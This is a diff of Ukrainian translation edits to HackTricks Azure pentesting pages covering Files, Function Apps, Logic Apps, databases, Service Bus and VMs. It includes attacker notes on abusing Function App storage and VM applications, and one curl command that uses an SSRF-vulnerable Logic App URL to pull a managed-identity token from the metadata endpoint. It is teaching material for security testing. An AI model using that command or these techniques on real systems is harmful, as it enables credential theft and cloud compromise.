+**Azure Files** - це повністю керована служба зберігання файлів у хмарі, яка надає спільне зберігання файлів, доступне через стандартні протоколи **SMB (Server Message Block)** та **NFS (Network File System)**. Хоча основним протоколом є SMB, спільні файли Azure не підтримуються для Windows (згідно з [**документацією**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Це дозволяє створювати високодоступні мережеві спільні файли, до яких можуть одночасно отримувати доступ кілька віртуальних машин (VM) або локальні системи, що забезпечує безперешкодний обмін файлами між середовищами.
### Рівні доступу
@@ -15,18 +15,18 @@
### Резервні копії
-- **Щоденна резервна копія**: Точка резервного копіювання створюється щодня в зазначений час (наприклад, 19.30 UTC) і зберігається від 1 до 200 днів.
-- **Щотижнева резервна копія**: Точка резервного копіювання створюється щотижня в зазначений день і час (неділя о 19.30) і зберігається від 1 до 200 тижнів.
-- **Щомісячна резервна копія**: Точка резервного копіювання створюється щомісяця в зазначений день і час (наприклад, перша неділя о 19.30) і зберігається від 1 до 120 місяців.
-- **Щорічна резервна копія**: Точка резервного копіювання створюється щороку в зазначений день і час (наприклад, перша неділя січня о 19.30) і зберігається від 1 до 10 років.
-- Також можливо виконувати **ручні резервні копії та знімки в будь-який час**. Резервні копії та знімки насправді є однаковими в цьому контексті.
+- **Щоденна резервна копія**: Точка резервної копії створюється щодня в зазначений час (наприклад, 19.30 UTC) і зберігається від 1 до 200 днів.
+- **Щотижнева резервна копія**: Точка резервної копії створюється щотижня в зазначений день і час (неділя о 19.30) і зберігається від 1 до 200 тижнів.
+- **Щомісячна резервна копія**: Точка резервної копії створюється щомісяця в зазначений день і час (наприклад, перша неділя о 19.30) і зберігається від 1 до 120 місяців.
+- **Щорічна резервна копія**: Точка резервної копії створюється щороку в зазначений день і час (наприклад, перша неділя січня о 19.30) і зберігається від 1 до 10 років.
+- Також можливе виконання **ручних резервних копій та знімків у будь-який час**. Резервні копії та знімки насправді є однаковими в цьому контексті.
### Підтримувані аутентифікації через SMB
-- **Аутентифікація на основі AD DS на місці**: Використовує облікові дані локальної Active Directory, синхронізовані з Microsoft Entra ID для доступу на основі ідентичності. Вимагає мережевої підключеності до локального AD DS.
+- **Аутентифікація на основі AD DS на місці**: Використовує облікові дані локальної Active Directory, синхронізовані з Microsoft Entra ID для доступу на основі ідентичності. Вимагає мережевої підключеності до локальної AD DS.
- **Аутентифікація Microsoft Entra Domain Services**: Використовує Microsoft Entra Domain Services (хмарний AD) для надання доступу за допомогою облікових даних Microsoft Entra.
-- **Microsoft Entra Kerberos для гібридних ідентичностей**: Дозволяє користувачам Microsoft Entra аутентифікувати спільні файли Azure через Інтернет, використовуючи Kerberos. Підтримує гібридні Microsoft Entra приєднані або Microsoft Entra приєднані VM без вимоги підключення до локальних контролерів домену. Але не підтримує тільки хмарні ідентичності.
-- **Аутентифікація AD Kerberos для клієнтів Linux**: Дозволяє клієнтам Linux використовувати Kerberos для аутентифікації SMB через локальний AD DS або Microsoft Entra Domain Services.
+- **Microsoft Entra Kerberos для гібридних ідентичностей**: Дозволяє користувачам Microsoft Entra аутентифікувати спільні файли Azure через Інтернет за допомогою Kerberos. Підтримує гібридні віртуальні машини, приєднані до Microsoft Entra, без вимоги підключення до локальних контролерів домену. Але не підтримує тільки хмарні ідентичності.
+- **Аутентифікація AD Kerberos для клієнтів Linux**: Дозволяє клієнтам Linux використовувати Kerberos для аутентифікації SMB через локальну AD DS або Microsoft Entra Domain Services.
## Перерахування
@@ -91,7 +91,7 @@ Get-AzStorageFile -ShareName "" -Context (New-AzStorageContext -Stor
> Використовуйте параметр `--account-key`, щоб вказати ключ облікового запису для використання\
> Використовуйте параметр `--sas-token` з токеном SAS для доступу через токен SAS
-### Підключення
+### Connection
Це скрипти, запропоновані Azure на момент написання, для підключення до File Share:
@@ -144,7 +144,7 @@ az-storage.md
## Підвищення привілеїв
-Так само, як і привілеї сховища:
+Так само, як і privesc сховища:
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md
diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md
index a488ceca1..3801a5164 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md
@@ -2,37 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Основна інформація
**Azure Function Apps** - це **безсерверна обчислювальна служба**, яка дозволяє запускати невеликі фрагменти коду, звані **функціями**, без управління підлягаючою інфраструктурою. Вони призначені для виконання коду у відповідь на різні тригери, такі як **HTTP запити, таймери або події з інших служб Azure**, таких як Blob Storage або Event Hubs. Function Apps підтримують кілька мов програмування, включаючи C#, Python, JavaScript та Java, що робить їх універсальними для створення **додатків, орієнтованих на події**, автоматизації робочих процесів або інтеграції служб. Вони є економічно вигідними, оскільки зазвичай ви платите лише за час обчислень, коли ваш код виконується.
> [!NOTE]
> Зверніть увагу, що **Functions є підмножиною App Services**, тому багато функцій, обговорюваних тут, також будуть використовуватися додатками, створеними як Azure Apps (`webapp` в cli).
-### Different Plans
+### Різні плани
- **Flex Consumption Plan**: Пропонує **динамічне, орієнтоване на події масштабування** з оплатою за фактом використання, додаючи або видаляючи екземпляри функцій залежно від попиту. Підтримує **віртуальну мережу** та **попередньо підготовлені екземпляри**, щоб зменшити холодні старти, що робить його підходящим для **змінних навантажень**, які не потребують підтримки контейнерів.
- **Traditional Consumption Plan**: За замовчуванням безсерверний варіант, де ви **платите лише за обчислювальні ресурси, коли функції виконуються**. Він автоматично масштабується на основі вхідних подій і включає **оптимізації холодного старту**, але не підтримує розгортання контейнерів. Ідеально підходить для **періодичних навантажень**, які потребують автоматичного масштабування.
- **Premium Plan**: Призначений для **послідовної продуктивності**, з **попередньо прогрітими працівниками**, щоб усунути холодні старти. Пропонує **подовжені часи виконання, віртуальну мережу** та підтримує **кастомізовані образи Linux**, що робить його ідеальним для **додатків критичного призначення**, які потребують високої продуктивності та розширених функцій.
- **Dedicated Plan**: Виконується на виділених віртуальних машинах з **передбачуваним білінгом** і підтримує ручне або автоматичне масштабування. Дозволяє запускати кілька додатків на одному плані, забезпечує **ізоляцію обчислень** і гарантує **безпечний доступ до мережі** через App Service Environments, що робить його ідеальним для **додатків з тривалим виконанням**, які потребують послідовного виділення ресурсів.
-- **Container Apps**: Дозволяє розгортати **контейнеризовані функціональні додатки** в керованому середовищі, поряд з мікросервісами та API. Підтримує кастомізовані бібліотеки, міграцію спадкових додатків та **обробку GPU**, усуваючи управління кластерами Kubernetes. Ідеально підходить для **додатків, орієнтованих на події, масштабованих контейнеризованих додатків**.
+- **Container Apps**: Дозволяє розгортати **контейнеризовані функціональні додатки** в керованому середовищі, поряд з мікросервісами та API. Підтримує кастомні бібліотеки, міграцію спадкових додатків та **обробку GPU**, усуваючи управління кластерами Kubernetes. Ідеально підходить для **додатків, орієнтованих на події, масштабованих контейнеризованих додатків**.
-### **Storage Buckets**
+### **Сховища**
-При створенні нового Function App, який не контейнеризований (але надає код для виконання), **код та інші дані, пов'язані з функцією, будуть зберігатися в обліковому записі Storage**. За замовчуванням веб-консоль створить новий обліковий запис для кожної функції для зберігання коду.
+При створенні нового Function App, який не контейнеризований (але надає код для виконання), **код та інші дані, пов'язані з функцією, будуть зберігатися в обліковому записі сховища**. За замовчуванням веб-консоль створить новий обліковий запис для кожної функції для зберігання коду.
-Більше того, модифікуючи код всередині кошика (в різних форматах, в яких він може бути збережений), **код програми буде змінено на новий і виконано** наступного разу, коли функція буде викликана.
+Більше того, модифікуючи код всередині сховища (в різних форматах, в яких він може бути збережений), **код програми буде змінено на новий і виконано** наступного разу, коли функція буде викликана.
> [!CAUTION]
-> Це дуже цікаво з точки зору атакуючого, оскільки **доступ на запис до цього кошика** дозволить атакуючому **компрометувати код і підвищити привілеї** до керованих ідентичностей всередині Function App.
+> Це дуже цікаво з точки зору атакуючого, оскільки **доступ на запис до цього сховища** дозволить атакуючому **компрометувати код і підвищити привілеї** до керованих ідентичностей всередині Function App.
>
> Більше про це в **розділі підвищення привілеїв**.
-Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **``** у JSON-файлах, які ви можете знайти всередині.
+Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі сховища в контейнері **`azure-webjobs-secrets`** всередині папки **``** у JSON-файлах, які ви можете знайти всередині.
-Зверніть увагу, що функції також дозволяють зберігати код у віддаленому місці, просто вказуючи URL на нього.
+Зверніть увагу, що Functions також дозволяють зберігати код у віддаленому місці, просто вказуючи URL на нього.
-### Networking
+### Мережа
Використовуючи HTTP тригер:
@@ -42,19 +42,19 @@
> [!CAUTION]
> Це дуже цікаво з точки зору атакуючого, оскільки може бути можливим **перемикання на внутрішні мережі** з вразливої функції, відкритої для Інтернету.
-### **Function App Settings & Environment Variables**
+### **Налаштування Function App та змінні середовища**
-Можливо налаштувати змінні середовища всередині програми, які можуть містити чутливу інформацію. Більше того, за замовчуванням змінні середовища **`AzureWebJobsStorage`** та **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (серед інших) створюються. Ці змінні особливо цікаві, оскільки **містять ключ облікового запису для контролю з ПОВНИМИ правами доступу до облікового запису зберігання, що містить дані програми**. Ці налаштування також потрібні для виконання коду з облікового запису зберігання.
+Можливо налаштувати змінні середовища всередині програми, які можуть містити чутливу інформацію. Більше того, за замовчуванням змінні середовища **`AzureWebJobsStorage`** та **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (серед інших) створюються. Ці змінні особливо цікаві, оскільки вони **містять ключ облікового запису для контролю з ПОВНИМИ правами доступу до облікового запису сховища, що містить дані програми**. Ці налаштування також потрібні для виконання коду з облікового запису сховища.
Ці змінні середовища або параметри конфігурації також контролюють, як функція виконує код, наприклад, якщо **`WEBSITE_RUN_FROM_PACKAGE`** існує, це вказує на URL, де розташований код програми.
-### **Function Sandbox**
+### **Пісочниця функцій**
-Всередині linux пісочниці вихідний код розташований у **`/home/site/wwwroot`** у файлі **`function_app.py`** (якщо використовується python), користувач, що виконує код, - **`app`** (без прав sudo).
+Всередині пісочниці Linux вихідний код розташований у **`/home/site/wwwroot`** у файлі **`function_app.py`** (якщо використовується Python), користувач, що виконує код, - **`app`** (без прав sudo).
У **Windows** функції, що використовує NodeJS, код розташовувався у **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, ім'я користувача було **`mawsFnPlaceholder8_f_v4_node_20_x86`** і він був частиною **груп**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
-### **Managed Identities & Metadata**
+### **Керовані ідентичності та метадані**
Так само, як і [**VMs**](vms/index.html), функції можуть мати **керовані ідентичності** двох типів: системно призначені та призначені користувачем.
@@ -71,7 +71,7 @@
Зверніть увагу, що вам потрібно знайти спосіб **перевірити всі керовані ідентичності, прикріплені до функції**, оскільки якщо ви цього не вкажете, кінцева точка метаданих **використовуватиме лише за замовчуванням** (перевірте попереднє посилання для отримання додаткової інформації).
-## Access Keys
+## Ключі доступу
> [!NOTE]
> Зверніть увагу, що немає дозволів RBAC для надання доступу користувачам для виклику функцій. **Виклик функції залежить від тригера**, вибраного під час її створення, і якщо був вибраний HTTP тригер, можливо, знадобиться використовувати **ключ доступу**.
@@ -84,27 +84,27 @@
**Типи ключів:**
-- **Function Keys:** Ключі функцій можуть бути або за замовчуванням, або визначеними користувачем і призначені для надання доступу виключно до **конкретних кінцевих точок функцій** в рамках Function App, що дозволяє більш детальний доступ до кінцевих точок.
-- **Host Keys:** Ключі хоста, які також можуть бути за замовчуванням або визначеними користувачем, надають доступ до **всіх кінцевих точок функцій в рамках Function App з рівнем доступу FUNCTION**.
-- **Master Key:** Ключ майстра (`_master`) служить адміністративним ключем, який пропонує підвищені права, включаючи доступ до всіх кінцевих точок функцій (включаючи рівень доступу ADMIN). Цей **ключ не може бути відкликаний.**
-- **System Keys:** Системні ключі **керуються конкретними розширеннями** і потрібні для доступу до кінцевих точок вебхуків, які використовуються внутрішніми компонентами. Прикладами є тригер Event Grid та Durable Functions, які використовують системні ключі для безпечної взаємодії зі своїми відповідними API.
+- **Ключі функцій:** Ключі функцій можуть бути або за замовчуванням, або визначеними користувачем і призначені для надання доступу виключно до **конкретних кінцевих точок функцій** в рамках Function App, що дозволяє більш детальний доступ до кінцевих точок.
+- **Ключі хоста:** Ключі хоста, які також можуть бути за замовчуванням або визначеними користувачем, надають доступ до **всіх кінцевих точок функцій в рамках Function App з рівнем доступу FUNCTION**.
+- **Ключ майстра:** Ключ майстра (`_master`) слугує адміністративним ключем, який пропонує підвищені права, включаючи доступ до всіх кінцевих точок функцій (включаючи рівень доступу ADMIN). Цей **ключ не може бути відкликаний.**
+- **Системні ключі:** Системні ключі **керуються конкретними розширеннями** і потрібні для доступу до кінцевих точок вебхуків, які використовуються внутрішніми компонентами. Прикладами є тригер Event Grid та Durable Functions, які використовують системні ключі для безпечної взаємодії зі своїми відповідними API.
> [!TIP]
> Приклад доступу до кінцевої точки API функції за допомогою ключа:
>
> `https://.azurewebsites.net/api/?code=`
-### Basic Authentication
+### Основна аутентифікація
-Так само, як і в App Services, функції також підтримують базову аутентифікацію для підключення до **SCM** та **FTP** для розгортання коду, використовуючи **ім'я користувача та пароль в URL**, наданому Azure. Більше інформації про це в:
+Так само, як і в App Services, функції також підтримують основну аутентифікацію для підключення до **SCM** та **FTP** для розгортання коду, використовуючи **ім'я користувача та пароль у URL**, наданому Azure. Більше інформації про це в:
{{#ref}}
az-app-services.md
{{#endref}}
-### Github Based Deployments
+### Розгортання на основі Github
-Коли функція генерується з репозиторію Github, веб-консоль Azure дозволяє **автоматично створити робочий процес Github у конкретному репозиторії**, тому що щоразу, коли цей репозиторій оновлюється, код функції оновлюється. Насправді YAML дії Github для функції на python виглядає так:
+Коли функція генерується з репозиторію Github, веб-консоль Azure дозволяє **автоматично створити робочий процес Github у конкретному репозиторії**, тому що щоразу, коли цей репозиторій оновлюється, код функції оновлюється. Насправді YAML дії Github для функції Python виглядає так:
@@ -199,7 +199,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
### Container Based Deployments
-Не всі плани дозволяють розгортати контейнери, але для тих, які це дозволяють, конфігурація міститиме URL контейнера. В API налаштування **`linuxFxVersion`** матиме щось на зразок: `DOCKER|mcr.microsoft.com/...`, тоді як у веб-консолі конфігурація відображатиме **image settings**.
+Не всі плани дозволяють розгортати контейнери, але для тих, що дозволяють, конфігурація міститиме URL контейнера. В API налаштування **`linuxFxVersion`** матиме щось на зразок: `DOCKER|mcr.microsoft.com/...`, тоді як у веб-консолі конфігурація відображатиме **image settings**.
Більше того, **жоден вихідний код не буде зберігатися в обліковому записі зберігання**, пов'язаному з функцією, оскільки це не потрібно.
diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
index 6115e7fcb..d6b814b51 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
@@ -10,8 +10,8 @@ Logic Apps надає візуальний дизайнер для створе
### Приклади
-- **Автоматизація даних**: Logic Apps можуть автоматизувати **процеси передачі та перетворення даних** у поєднанні з Azure Data Factory. Це корисно для створення масштабованих і надійних конвеєрів даних, які переміщують і перетворюють дані між різними сховищами даних, такими як Azure SQL Database та Azure Blob Storage, що сприяє аналітиці та бізнес-інтелекту.
-- **Інтеграція з Azure Functions**: Logic Apps можуть працювати разом з Azure Functions для розробки **складних, подієвих додатків, які масштабуються за потреби** та безшовно інтегруються з іншими сервісами Azure. Прикладом використання є використання Logic App для виклику Azure Function у відповідь на певні події, такі як зміни в обліковому записі Azure Storage, що дозволяє динамічно обробляти дані.
+- **Автоматизація даних**: Logic Apps може автоматизувати **процеси передачі та перетворення даних** у поєднанні з Azure Data Factory. Це корисно для створення масштабованих та надійних конвеєрів даних, які переміщують та перетворюють дані між різними сховищами даних, такими як Azure SQL Database та Azure Blob Storage, що сприяє аналітиці та бізнес-інтелекту.
+- **Інтеграція з Azure Functions**: Logic Apps може працювати разом з Azure Functions для розробки **складних, подієвих додатків, які масштабуються за потреби** та безперешкодно інтегруються з іншими сервісами Azure. Прикладом використання є використання Logic App для виклику Azure Function у відповідь на певні події, такі як зміни в обліковому записі Azure Storage, що дозволяє динамічно обробляти дані.
### Візуалізація LogicAPP
@@ -19,7 +19,7 @@ Logic Apps надає візуальний дизайнер для створе
-або перевірити код у розділі "**Перегляд коду Logic App**".
+або перевірити код у розділі "**Перегляд коду логічного додатку**".
### Захист від SSRF
@@ -30,18 +30,18 @@ Logic Apps надає візуальний дизайнер для створе
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
-### Варіанти хостингу
+### Hosting options
Є кілька варіантів хостингу:
-* **Споживання**
-- **Багатоорендарний**: надає спільні обчислювальні ресурси, працює в публічному хмарі та дотримується моделі ціноутворення "плата за операцію". Це ідеально підходить для легких і економічних навантажень.
-* **Стандартний**
-- **План служби робочого процесу**: виділені обчислювальні ресурси з інтеграцією VNET для мережі та стягнення плати за кожен екземпляр плану служби робочого процесу. Він підходить для більш вимогливих навантажень, які потребують більшого контролю.
-- **Середовище служби додатків V3**: виділені обчислювальні ресурси з повною ізоляцією та масштабованістю. Він також інтегрується з VNET для мережі та використовує модель ціноутворення на основі екземплярів служби додатків у середовищі. Це ідеально підходить для корпоративних додатків, які потребують високої ізоляції.
-- **Гібридний**: розроблений для локальної обробки та підтримки багатохмарності. Він дозволяє використовувати обчислювальні ресурси, керовані клієнтом, з доступом до локальної мережі та використовує Kubernetes Event-Driven Autoscaling (KEDA).
+* **Consumption**
+- **Multi-tenant**: надає спільні обчислювальні ресурси, працює в публічному хмарі та дотримується моделі ціноутворення "плата за операцію". Це ідеально підходить для легких і економічних навантажень.
+* **Standard**
+- **Workflow Service Plan**: виділені обчислювальні ресурси з інтеграцією VNET для мережі та стягнення плати за кожен екземпляр плану служби робочого процесу. Це підходить для більш вимогливих навантажень, які потребують більшого контролю.
+- **App Service Environment V3** виділені обчислювальні ресурси з повною ізоляцією та масштабованістю. Він також інтегрується з VNET для мережі та використовує модель ціноутворення на основі екземплярів App Service в середовищі. Це ідеально підходить для корпоративних додатків, які потребують високої ізоляції.
+- **Hybrid** розроблений для локальної обробки та підтримки багатохмарності. Він дозволяє керованим клієнтом обчислювальним ресурсам з доступом до локальної мережі та використовує Kubernetes Event-Driven Autoscaling (KEDA).
-### Перерахування
+### Enumeration
{{#tabs }}
{{#tab name="az cli" }}
@@ -137,10 +137,8 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name " -Integra
## Підвищення Привілеїв
-Так само, як і privesc логічних додатків:
+Те ж саме, що і privesc логічних додатків:
{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md
index 12a646191..d3c2f08c4 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md
@@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Azure MySQL
-Azure Database for MySQL - це повністю керована реляційна база даних, заснована на MySQL Community Edition, розроблена для забезпечення масштабованості, безпеки та гнучкості для різних потреб додатків. Вона має дві різні моделі розгортання:
+Azure Database for MySQL є повністю керованою реляційною базою даних, заснованою на MySQL Community Edition, розробленою для забезпечення масштабованості, безпеки та гнучкості для різних потреб додатків. Вона має дві різні моделі розгортання:
* **Single Server** (перебуває на шляху до закриття):
- Оптимізовано для економічних та легких у керуванні розгортань MySQL.
@@ -11,7 +11,7 @@ Azure Database for MySQL - це повністю керована реляцій
- Ідеально підходить для додатків з передбачуваними навантаженнями.
* **Flexible Server**:
- Забезпечує більше контролю над управлінням базами даних та конфігурацією.
-- Підтримує високу доступність (в одній зоні та зони-резервні).
+- Підтримує високу доступність (в одній зоні та зони-резерву).
- Має еластичне масштабування, управління патчами та оптимізацію навантаження.
- Пропонує функціональність зупинки/запуску для економії витрат.
diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md
index add2b4e05..aef29a6b7 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md
@@ -18,7 +18,7 @@
### Key Features
* **Custom Maintenance Windows**: Заплануйте оновлення, щоб мінімізувати перерви.
-* **Active Monitoring**: Отримуйте детальні метрики та журнали для відстеження та покращення продуктивності бази даних.
+* **Active Monitoring**: Доступ до детальних метрик та журналів для відстеження та покращення продуктивності бази даних.
* **Stop/Start Server**: Користувачі можуть зупиняти та запускати сервер.
* **Automatic Backups**: Вбудовані щоденні резервні копії з періодами зберігання, які можна налаштувати до 35 днів.
* **Role-Based Access**: Контролюйте дозволи користувачів та адміністративний доступ через Azure Active Directory.
@@ -128,7 +128,7 @@ psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
../az-post-exploitation/az-postgresql-post-exploitation.md
{{#endref}}
-## ToDo
+## Завдання
* Знайти спосіб доступу з ad-admin, щоб перевірити, чи це метод підвищення привілеїв
diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md
index 3f97ba7f4..3f344fe0a 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md
@@ -4,7 +4,7 @@
## Service Bus
-Azure Service Bus - це хмарна **служба обміну повідомленнями**, призначена для забезпечення надійної **комунікації між різними частинами програми або окремими програмами**. Вона діє як безпечний посередник, забезпечуючи безпечну доставку повідомлень, навіть якщо відправник і отримувач не працюють одночасно. Відокремлюючи системи, вона дозволяє програмам працювати незалежно, при цьому обмінюючись даними або інструкціями. Це особливо корисно для сценаріїв, що вимагають балансування навантаження між кількома працівниками, надійної доставки повідомлень або складної координації, такої як обробка завдань у порядку або безпечне управління доступом.
+Azure Service Bus - це хмарна **служба обміну повідомленнями**, призначена для забезпечення надійної **комунікації між різними частинами програми або окремими програмами**. Вона діє як безпечний посередник, забезпечуючи безпечну доставку повідомлень, навіть якщо відправник і отримувач не працюють одночасно. Відокремлюючи системи, вона дозволяє програмам працювати незалежно, при цьому обмінюючись даними або інструкціями. Це особливо корисно для сценаріїв, які вимагають балансування навантаження між кількома працівниками, надійної доставки повідомлень або складної координації, такої як обробка завдань у порядку або безпечне управління доступом.
### Key Concepts
@@ -16,7 +16,7 @@ Azure Service Bus - це хмарна **служба обміну повідом
- Кілька незалежних підписок отримують копії повідомлень.
- Підписки можуть мати правила/фільтри для контролю доставки або додавання метаданих.
- Підтримує комунікацію багато-до-багато.
-3. **Namespaces:** Контейнер для всіх компонентів обміну повідомленнями, черг і тем, подібний до вашої власної частини потужного Azure кластера, що забезпечує виділену ємність і, за бажанням, охоплює три зони доступності.
+3. **Namespaces:** Контейнер для всіх компонентів обміну повідомленнями, черг і тем, схожий на вашу власну частину потужного Azure кластера, що забезпечує виділену ємність і, за бажанням, охоплює три зони доступності.
### Advance Features
@@ -35,7 +35,7 @@ Azure Service Bus - це хмарна **служба обміну повідом
### Authorization-Rule / SAS Policy
-SAS Policies визначають дозволи доступу для сутностей Azure Service Bus, простору імен (найважливіший), черг і тем. Кожна політика має такі компоненти:
+SAS Policies визначають дозволи доступу для сутностей Azure Service Bus, простору імен (найважливіше), черг і тем. Кожна політика має такі компоненти:
- **Permissions**: Прапорці для вказівки рівнів доступу:
- Manage: Надає повний контроль над сутністю, включаючи управління конфігурацією та дозволами.
@@ -47,7 +47,7 @@ SAS Policies визначають дозволи доступу для сутн
### NameSpace
-sku, authrorization rule,
+sku, правило авторизації,
### Enumeration
@@ -135,7 +135,7 @@ Get-AzServiceBusTopic -ResourceGroupName -NamespaceName -ResourceGroupName
**VM-образ** - це шаблон, який містить операційну систему, налаштування додатків та файлову систему, необхідні для **створення нової віртуальної машини (VM)**. Різниця між образом і знімком диска полягає в тому, що знімок диска є лише для читання, точковою копією одного керованого диска, що використовується в основному для резервного копіювання або усунення несправностей, тоді як образ може містити **кілька дисків і призначений для використання як шаблон для створення нових VM**.\
Зображення можна керувати в **розділі Зображення** Azure або в **галереях обчислень Azure**, що дозволяє генерувати **версії** та **ділитися** образом між орендарями або навіть зробити його публічним.
-**Точка відновлення** зберігає конфігурацію VM та **точкові** знімки, що відповідають додаткам, **всіх керованих дисків**, підключених до VM. Вона пов'язана з VM, і її мета полягає в тому, щоб мати можливість відновити цю VM до стану, в якому вона була в цей конкретний момент.
+**Точка відновлення** зберігає конфігурацію VM та **точкові** знімки, що відповідають додаткам, **всіх керованих дисків**, підключених до VM. Вона пов'язана з VM, і її мета - мати можливість відновити цю VM до стану, в якому вона була в той конкретний момент.
{{#tabs}}
{{#tab name="az cli"}}
@@ -150,7 +150,7 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName
### Розширення ВМ
-Azure VM розширення - це невеликі програми, які забезпечують **конфігурацію після розгортання** та автоматизацію завдань на віртуальних машинах Azure (ВМ).
+Розширення Azure ВМ - це невеликі програми, які забезпечують **конфігурацію після розгортання** та автоматизацію завдань на віртуальних машинах Azure (ВМ).
Це дозволить **виконувати довільний код всередині ВМ**.
@@ -617,7 +617,7 @@ Set-AzVMDscExtension `
### Застосунки VM
-Це пакети з усіма **даними додатків та скриптами для встановлення та видалення**, які можна використовувати для легкого додавання та видалення додатків у VM.
+Це пакети з усіма **даними програми та скриптами для встановлення та видалення**, які можна використовувати для легкого додавання та видалення програм у VM.
```bash
# List all galleries in resource group
az sig list --resource-group --output table
@@ -635,7 +635,7 @@ az sig gallery-application list --gallery-name --resource-group <
> [!CAUTION]
> Можливо **ділитися окремими додатками та галереями з іншими підписками або орендарями**. Що є дуже цікавим, оскільки це може дозволити зловмиснику створити бекдор для програми та перейти до інших підписок і орендарів.
-Але **немає "маркетплейсу" для vm додатків**, як це є для розширень.
+Але **немає "ринку" для vm додатків**, як це є для розширень.
Необхідні дозволи:
@@ -735,10 +735,10 @@ az vm application set \
Можливо передати деякі дані до VM, які будуть зберігатися в очікуваних шляхах:
-- У **Windows** користувацькі дані розміщуються в `%SYSTEMDRIVE%\AzureData\CustomData.bin` як бінарний файл і не обробляються.
+- У **Windows** користувацькі дані розміщуються в `%SYSTEMDRIVE%\AzureData\CustomData.bin` як бінарний файл, і вони не обробляються.
- У **Linux** вони зберігалися в `/var/lib/waagent/ovf-env.xml`, а тепер зберігаються в `/var/lib/waagent/CustomData/ovf-env.xml`
-- **Агент Linux**: За замовчуванням не обробляє користувацькі дані, потрібен користувацький образ з увімкненими даними
-- **cloud-init:** За замовчуванням обробляє користувацькі дані, і ці дані можуть бути в [**кількох форматах**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Він може легко виконати скрипт, просто надіславши його в користувацьких даних.
+- **Linux агент**: За замовчуванням не обробляє користувацькі дані, потрібен користувацький образ з увімкненими даними
+- **cloud-init:** За замовчуванням обробляє користувацькі дані, і ці дані можуть бути в [**декількох форматах**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Він може легко виконати скрипт, просто надіславши його в користувацьких даних.
- Я спробував, щоб і Ubuntu, і Debian виконували скрипт, який ви помістили сюди.
- Також не потрібно активувати дані користувача для виконання цього.
```bash
diff --git a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
index 630fdc0fa..5cf409ff9 100644
--- a/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
+++ b/src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
@@ -97,14 +97,14 @@ Azure Firewall - це **керована служба мережевої без
| Критерії/Функції | Варіант 1 | Варіант 2 | Варіант 3 |
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
-| **Рекомендований випадок використання** | Малі/середні підприємства (SMBs) з обмеженими потребами | Загальне підприємницьке використання, фільтрація рівнів 3–7 | Високочутливі середовища (наприклад, обробка платежів) |
-| **Продуктивність** | До 250 Мбіт/с | До 30 Гбіт/с | До 100 Гбіт/с |
-| **Інформація про загрози** | Лише сповіщення | Сповіщення та блокування (зловмисні IP/домени) | Сповіщення та блокування (розширена інформація про загрози) |
-| **Фільтрація L3–L7** | Основна фільтрація | Станова фільтрація через протоколи | Станова фільтрація з розширеною перевіркою |
-| **Розширений захист від загроз** | Не доступно | Фільтрація на основі інформації про загрози | Включає систему виявлення та запобігання вторгненням (IDPS) |
-| **Перевірка TLS** | Не доступно | Не доступно | Підтримує термінацію вхідного/вихідного TLS |
-| **Доступність** | Фіксований бекенд (2 ВМ) | Автоматичне масштабування | Автоматичне масштабування |
-| **Легкість управління** | Основні елементи управління | Керування через Firewall Manager | Керування через Firewall Manager |
